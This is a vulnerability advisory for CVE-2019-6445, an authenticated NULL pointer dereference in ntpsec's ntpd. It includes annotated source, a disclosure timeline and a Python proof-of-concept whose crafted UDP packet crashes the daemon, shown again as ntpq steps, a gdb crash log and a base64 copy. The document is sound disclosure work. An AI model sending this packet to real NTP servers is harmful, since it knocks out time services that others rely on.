_        _                   
    / |   ___| |_ ___ ___ ___ ___ 
 _ / /   |   |  _| . |_ -| -_|  _|
|_|_/    |_|_|_| |  _|___|___|___|
                 |_|              

2019-01-15

Authenticated NULL pointer exception in ntpsec
==============================================

CVE-2019-6445

This is the third of four bugs. For more visit: dumpco.re/blog/ntpsec-bugs

An authenticated NULL pointer exception bug was found in ntpsec.

Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2

Timeline:

2018-10-20 Bug discovered
2018-10-20 Bug reported
2019-01-13 Vendor released patch version 1.1.3
2019-01-16 MITRE allocated CVE-2019-6445

It was found possible for an authenticated attacker to cause the ntpd
daemon to SIGSEGV due to a NULL pointer dereference in ntp_control.c.
valuep is set to NULL through a call to ctl_getitem on line 2911, and later
dereferenced on line 2930. See inline comments below:

  2875 static void
  2876 write_variables(
  2877   struct recvbuf *rbufp,
  2878   int restrict_mask
  2879   )
  2880 {
  2881   const struct ctl_var *v;
  2882   int ext_var;
  2883   char *valuep;                                                                                                                                             
  2884   long val;
  ..
  2893   val = 0;
  ..
  2911   while ((v = ctl_getitem(sys_var, &valuep)) != 0) {     // <- valuep is set to NULL in ctl_getitem()
  2912     ext_var = 0;
  ..
  2929     errno = 0;
  2930     if (!ext_var && (*valuep == '\0'                         // <- valuep is dereferenced
  2931          || (val = strtol(valuep, NULL, 10), errno != 0))) {


  2509 ctl_getitem(
  2510   const struct ctl_var *var_list,
  2511   char **data
  2512   )
  2513 {
  ..
  2521   static const struct ctl_var eol = { 0, EOV, NULL };
  2522   static char buf[128];
  2523   static u_long quiet_until;
  2524   const struct ctl_var *v;
  2525   char *cp;
  2526   char *tp;
  ..
  2538 
  2539   /* Scan the string in the packet until we hit comma or
  2540    * EoB. Register position of first '=' on the fly. */
  2541   for (tp = NULL, cp = reqpt; cp != reqend; ++cp) {       // <- tp set to NULL
  2542     if (*cp == '=' && tp == NULL)                         // <- condition is never met due to missing value in request
  2543       tp = cp;                                            // (the request doesn't contain an equals sign)
  2544     if (*cp == ',')
  2545       break;
  2546   }
  2547 
  2548   /* Process payload, if any. */
  2549   *data = NULL;                                           // <- *data set to NULL
  2550   if (NULL != tp) {                                       // <- condition is false, as tp is NULL
  ..
  2566     /* copy data, NUL terminate, and set result data ptr */
  2567     memcpy(buf, plhead, plsize);
  2568     buf[plsize] = '\0';
  2569     *data = buf;                                          // <- this line is never executed, *data remains NULL
  2570   } else {
  2571     /* no payload, current end --> current name termination */
  2572     tp = cp;
  2573   }
  ..
  2615   if (EOV & v->flags)                // <- (0x80 & 3) evaluates to true
  2616     *data = NULL;                    // <-- *data set to NULL again
  2617   else
  2618     reqpt = cp + (cp != reqend);
  2619   return v;

Proof of concept exploit:

  #!/usr/bin/env python
  import sys
  import socket

  buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
         "\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
         "\x56\xc8\x07\xd4")

  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.sendto(buf, ('127.0.0.1', 123))

Alternatively ntpq from ntp classic can be usedby performing an authenticated `writevar` request without a value:

  ntp-4.2.8p12/ntpq/ntpq 127.0.0.1
  ntpq> writevar 0 leap                <-- note the absense of a variable value
  Keyid: 1
  MD5 Password:                        <-- enter the correct password, in this example "gurka"
  127.0.0.1: timed out, nothing received
  ***Request timed out
  ntpq> 

 $ cat ~/resources/ntp.conf 
  restrict 127.0.0.1
  keys /home/magnus/resources/keys
  trustedkey 1
  controlkey 1
  requestkey 1

  $ cat ~/resources/keys 
  1 M gurka
  2 M agurk

  $ sudo gdb --args ./build/main/ntpd/ntpd -n -c ~/resources/ntp.conf
  GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
  Copyright (C) 2014 Free Software Foundation, Inc.
  License GPLv3+: GNU GPL version 3 or later gnu.org="" licenses="" gpl.html="">
  This is free software: you are free to change and redistribute it.
  There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
  and "show warranty" for details.
  This GDB was configured as "x86_64-linux-gnu".
  Type "show configuration" for configuration details.
  For bug reporting instructions, please see:
  gnu.org="" software="" gdb="" bugs="">.
  Find the GDB manual and other documentation resources online at:
  gnu.org="" software="" gdb="" documentation="">.
  For help, type "help".
  Type "apropos word" to search for commands related to "word"...
  Reading symbols from ./build/main/ntpd/ntpd...done.
  (gdb) r
  Starting program: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
  [Thread debugging using libthread_db enabled]
  Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
  2018-10-20T20:48:48 ntpd[75861]: INIT: ntpd ntpsec-1.1.2 2018-10-20T17:59:05Z: Starting
  2018-10-20T20:48:48 ntpd[75861]: INIT: Command line: /home/magnus/projects/ntpsec/untouched/unfuckingtouched/ntpsec-1.1.2/build/main/ntpd/ntpd -n -c /home/magnus/resources/ntp.conf
  2018-10-20T20:48:48 ntpd[75861]: INIT: precision = 0.121 usec (-23)
  2018-10-20T20:48:48 ntpd[75861]: INIT: successfully locked into RAM
  2018-10-20T20:48:48 ntpd[75861]: CONFIG: readconfig: parsing file: /home/magnus/resources/ntp.conf
  2018-10-20T20:48:48 ntpd[75861]: CONFIG: requestkey is a no-op because ntpdc has been removed.
  2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: reading /home/magnus/resources/keys
  2018-10-20T20:48:48 ntpd[75861]: AUTH: authreadkeys: added 2 keys
  2018-10-20T20:48:48 ntpd[75861]: INIT: Using SO_TIMESTAMPNS
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 0 v6wildcard [::]:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen and drop on 1 v4wildcard 0.0.0.0:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 2 lo 127.0.0.1:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 3 eth0 192.168.245.220:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 4 eth0 192.168.245.131:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 5 lo [::1]:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listen normally on 6 eth0 [fe80::50:56ff:fe38:d7b8%2]:123
  2018-10-20T20:48:48 ntpd[75861]: IO: Listening on routing socket on fd #23 for interface updates
  2018-10-20T20:48:48 ntpd[75861]: statistics directory /var/NTP/ does not exist or is unwriteable, error No such file or directory

  Program received signal SIGSEGV, Segmentation fault.
  0x000055555557d7f6 in write_variables (rbufp=0x5555557b3bb0, restrict_mask=0) at ../../ntpd/ntp_control.c:2930
  2930      if (!ext_var && (*valuep == '\0'
  (gdb) 


Proof of discovery:

  $ base64 bug3 
  ZXhwbG9pdDoKIyEvdXNyL2Jpbi9lbnYgcHl0aG9uCmltcG9ydCBzeXMKaW1wb3J0IHNvY2tldAoK
  YnVmID0gKCJceDE2XHgwM1x4MDBceDAzXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwXHgwMFx4MDRc
  eDZjXHg2NVx4NjFceDcwIiArCiAgICAgICAiXHgwMFx4MDBceDAwXHgwMVx4NWNceGI3XHgzY1x4
  ZGNceDlmXHg1Y1x4MWVceDZhXHhjNVx4OWJceGRmXHhmNSIgKwogICAgICAgIlx4NTZceGM4XHgw
  N1x4ZDQiKQoKc29jayA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NL
  X0RHUkFNKQpzb2NrLnNlbmR0byhidWYsICgnMTI3LjAuMC4xJywgMTIzKSkKCm1hZ251c0BoNHhi
  MHg6fi9wcm9qZWN0cy9udHBzZWMvdW50b3VjaGVkL3VuZnVja2luZ3RvdWNoZWQvbnRwc2VjLTEu
  MS4yJCBjYXQgfi9yZXNvdXJjZXMvbnRwLmNvbmYgCiNzZXJ2ZXIgMTI3LjEyNy4xLjAgcHJlZmVy
  CiNmdWRnZSAgMTI3LjEyNy4xLjAgc3RyYXR1bSAxMAojZHJpZnRmaWxlIC92YXIvbGliL250cC9k
  cmlmdAojYnJvYWRjYXN0ZGVsYXkgMC4wMDgKCiNsb2dmaWxlIC90bXAvbnRwLmxvZwoKIyBHaXZl
  IGxvY2FsaG9zdCBmdWxsIGFjY2VzcyByaWdodHMKcmVzdHJpY3QgMTI3LjAuMC4xCgojIEdpdmVu
  IGxvY2FsIG1hY2hpbmUgYWNjZXNzIHRvIHF1ZXJ5CiNyZXN0cmljdCAxNzIuMTYuNTkuMTc5IG1h
  c2sgMjU1LjI1NS4yNTUuMjU1IG5vbW9kaWZ5IG5vdHJhcAojIGRpc2FibGUgYXV0aAojZW5hYmxl
  IGF1dGgKa2V5cyAvaG9tZS9tYWdudXMvcmVzb3VyY2VzL2tleXMKdHJ1c3RlZGtleSAxCmNvbnRy
  b2xrZXkgMQpyZXF1ZXN0a2V5IDEKbWFnbnVzQGg0eGIweDp+L3Byb2plY3RzL250cHNlYy91bnRv
  dWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIkIHZpIH4vcmVzb3VyY2VzL2tleXMg
  Cm1hZ251c0BoNHhiMHg6fi9wcm9qZWN0cy9udHBzZWMvdW50b3VjaGVkL3VuZnVja2luZ3RvdWNo
  ZWQvbnRwc2VjLTEuMS4yJCBjYXQgfi9yZXNvdXJjZXMva2V5cyAKMSBNIGd1cmthCjIgTSBhZ3Vy
  awptYWdudXNAaDR4YjB4On4vcHJvamVjdHMvbnRwc2VjL3VudG91Y2hlZC91bmZ1Y2tpbmd0b3Vj
  aGVkL250cHNlYy0xLjEuMiQgc3VkbyBnZGIgLS1hcmdzIC4vYnVpbGQvbWFpbi9udHBkL250cGQg
  LW4gLWMgfi9yZXNvdXJjZXMvbnRwLmNvbmYKR05VIGdkYiAoRGViaWFuIDcuNy4xK2Rmc2ctNSkg
  Ny43LjEKQ29weXJpZ2h0IChDKSAyMDE0IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgpM
  aWNlbnNlIEdQTHYzKzogR05VIEdQTCB2ZXJzaW9uIDMgb3IgbGF0ZXIgPGh0dHA6Ly9nbnUub3Jn
  L2xpY2Vuc2VzL2dwbC5odG1sPgpUaGlzIGlzIGZyZWUgc29mdHdhcmU6IHlvdSBhcmUgZnJlZSB0
  byBjaGFuZ2UgYW5kIHJlZGlzdHJpYnV0ZSBpdC4KVGhlcmUgaXMgTk8gV0FSUkFOVFksIHRvIHRo
  ZSBleHRlbnQgcGVybWl0dGVkIGJ5IGxhdy4gIFR5cGUgInNob3cgY29weWluZyIKYW5kICJzaG93
  IHdhcnJhbnR5IiBmb3IgZGV0YWlscy4KVGhpcyBHREIgd2FzIGNvbmZpZ3VyZWQgYXMgIng4Nl82
  NC1saW51eC1nbnUiLgpUeXBlICJzaG93IGNvbmZpZ3VyYXRpb24iIGZvciBjb25maWd1cmF0aW9u
  IGRldGFpbHMuCkZvciBidWcgcmVwb3J0aW5nIGluc3RydWN0aW9ucywgcGxlYXNlIHNlZToKPGh0
  dHA6Ly93d3cuZ251Lm9yZy9zb2Z0d2FyZS9nZGIvYnVncy8+LgpGaW5kIHRoZSBHREIgbWFudWFs
  IGFuZCBvdGhlciBkb2N1bWVudGF0aW9uIHJlc291cmNlcyBvbmxpbmUgYXQ6CjxodHRwOi8vd3d3
  LmdudS5vcmcvc29mdHdhcmUvZ2RiL2RvY3VtZW50YXRpb24vPi4KRm9yIGhlbHAsIHR5cGUgImhl
  bHAiLgpUeXBlICJhcHJvcG9zIHdvcmQiIHRvIHNlYXJjaCBmb3IgY29tbWFuZHMgcmVsYXRlZCB0
  byAid29yZCIuLi4KUmVhZGluZyBzeW1ib2xzIGZyb20gLi9idWlsZC9tYWluL250cGQvbnRwZC4u
  LmRvbmUuCihnZGIpIHIKU3RhcnRpbmcgcHJvZ3JhbTogL2hvbWUvbWFnbnVzL3Byb2plY3RzL250
  cHNlYy91bnRvdWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIvYnVpbGQvbWFpbi9u
  dHBkL250cGQgLW4gLWMgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9udHAuY29uZgpbVGhyZWFkIGRl
  YnVnZ2luZyB1c2luZyBsaWJ0aHJlYWRfZGIgZW5hYmxlZF0KVXNpbmcgaG9zdCBsaWJ0aHJlYWRf
  ZGIgbGlicmFyeSAiL2xpYi94ODZfNjQtbGludXgtZ251L2xpYnRocmVhZF9kYi5zby4xIi4KMjAx
  OC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogSU5JVDogbnRwZCBudHBzZWMtMS4xLjIgMjAx
  OC0xMC0yMFQxNzo1OTowNVo6IFN0YXJ0aW5nCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2
  MV06IElOSVQ6IENvbW1hbmQgbGluZTogL2hvbWUvbWFnbnVzL3Byb2plY3RzL250cHNlYy91bnRv
  dWNoZWQvdW5mdWNraW5ndG91Y2hlZC9udHBzZWMtMS4xLjIvYnVpbGQvbWFpbi9udHBkL250cGQg
  LW4gLWMgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9udHAuY29uZgoyMDE4LTEwLTIwVDIwOjQ4OjQ4
  IG50cGRbNzU4NjFdOiBJTklUOiBwcmVjaXNpb24gPSAwLjEyMSB1c2VjICgtMjMpCjIwMTgtMTAt
  MjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElOSVQ6IHN1Y2Nlc3NmdWxseSBsb2NrZWQgaW50byBS
  QU0KMjAxOC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogQ09ORklHOiByZWFkY29uZmlnOiBw
  YXJzaW5nIGZpbGU6IC9ob21lL21hZ251cy9yZXNvdXJjZXMvbnRwLmNvbmYKMjAxOC0xMC0yMFQy
  MDo0ODo0OCBudHBkWzc1ODYxXTogQ09ORklHOiByZXF1ZXN0a2V5IGlzIGEgbm8tb3AgYmVjYXVz
  ZSBudHBkYyBoYXMgYmVlbiByZW1vdmVkLgoyMDE4LTEwLTIwVDIwOjQ4OjQ4IG50cGRbNzU4NjFd
  OiBBVVRIOiBhdXRocmVhZGtleXM6IHJlYWRpbmcgL2hvbWUvbWFnbnVzL3Jlc291cmNlcy9rZXlz
  CjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IEFVVEg6IGF1dGhyZWFka2V5czogYWRk
  ZWQgMiBrZXlzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElOSVQ6IFVzaW5nIFNP
  X1RJTUVTVEFNUE5TCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBMaXN0ZW4g
  YW5kIGRyb3Agb24gMCB2NndpbGRjYXJkIFs6Ol06MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRw
  ZFs3NTg2MV06IElPOiBMaXN0ZW4gYW5kIGRyb3Agb24gMSB2NHdpbGRjYXJkIDAuMC4wLjA6MTIz
  CjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBMaXN0ZW4gbm9ybWFsbHkgb24g
  MiBsbyAxMjcuMC4wLjE6MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IElPOiBM
  aXN0ZW4gbm9ybWFsbHkgb24gMyBldGgwIDE5Mi4xNjguMjQ1LjIyMDoxMjMKMjAxOC0xMC0yMFQy
  MDo0ODo0OCBudHBkWzc1ODYxXTogSU86IExpc3RlbiBub3JtYWxseSBvbiA0IGV0aDAgMTkyLjE2
  OC4yNDUuMTMxOjEyMwoyMDE4LTEwLTIwVDIwOjQ4OjQ4IG50cGRbNzU4NjFdOiBJTzogTGlzdGVu
  IG5vcm1hbGx5IG9uIDUgbG8gWzo6MV06MTIzCjIwMTgtMTAtMjBUMjA6NDg6NDggbnRwZFs3NTg2
  MV06IElPOiBMaXN0ZW4gbm9ybWFsbHkgb24gNiBldGgwIFtmZTgwOjo1MDo1NmZmOmZlMzg6ZDdi
  OCUyXToxMjMKMjAxOC0xMC0yMFQyMDo0ODo0OCBudHBkWzc1ODYxXTogSU86IExpc3RlbmluZyBv
  biByb3V0aW5nIHNvY2tldCBvbiBmZCAjMjMgZm9yIGludGVyZmFjZSB1cGRhdGVzCjIwMTgtMTAt
  MjBUMjA6NDg6NDggbnRwZFs3NTg2MV06IHN0YXRpc3RpY3MgZGlyZWN0b3J5IC92YXIvTlRQLyBk
  b2VzIG5vdCBleGlzdCBvciBpcyB1bndyaXRlYWJsZSwgZXJyb3IgTm8gc3VjaCBmaWxlIG9yIGRp
  cmVjdG9yeQoKUHJvZ3JhbSByZWNlaXZlZCBzaWduYWwgU0lHU0VHViwgU2VnbWVudGF0aW9uIGZh
  dWx0LgoweDAwMDA1NTU1NTU1N2Q3ZjYgaW4gd3JpdGVfdmFyaWFibGVzIChyYnVmcD0weDU1NTU1
  NTdiM2JiMCwgcmVzdHJpY3RfbWFzaz0wKSBhdCAuLi8uLi9udHBkL250cF9jb250cm9sLmM6Mjkz
  MAoyOTMwICAgICAgaWYgKCFleHRfdmFyICYmICgqdmFsdWVwID09ICdcMCcKKGdkYikgCgo=

  $ sha256sum bug3 
  905842a970b7f05cc2f3e35af70a2c6666af6c845d7ecea3264b3f574ac921fb  bug3

twitter.com/magnusstubman/status/1053732547438538754


# References

ftp://ftp.ntpsec.org/pub/releases
gitlab.com/NTPsec/ntpsec/issues/509
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6445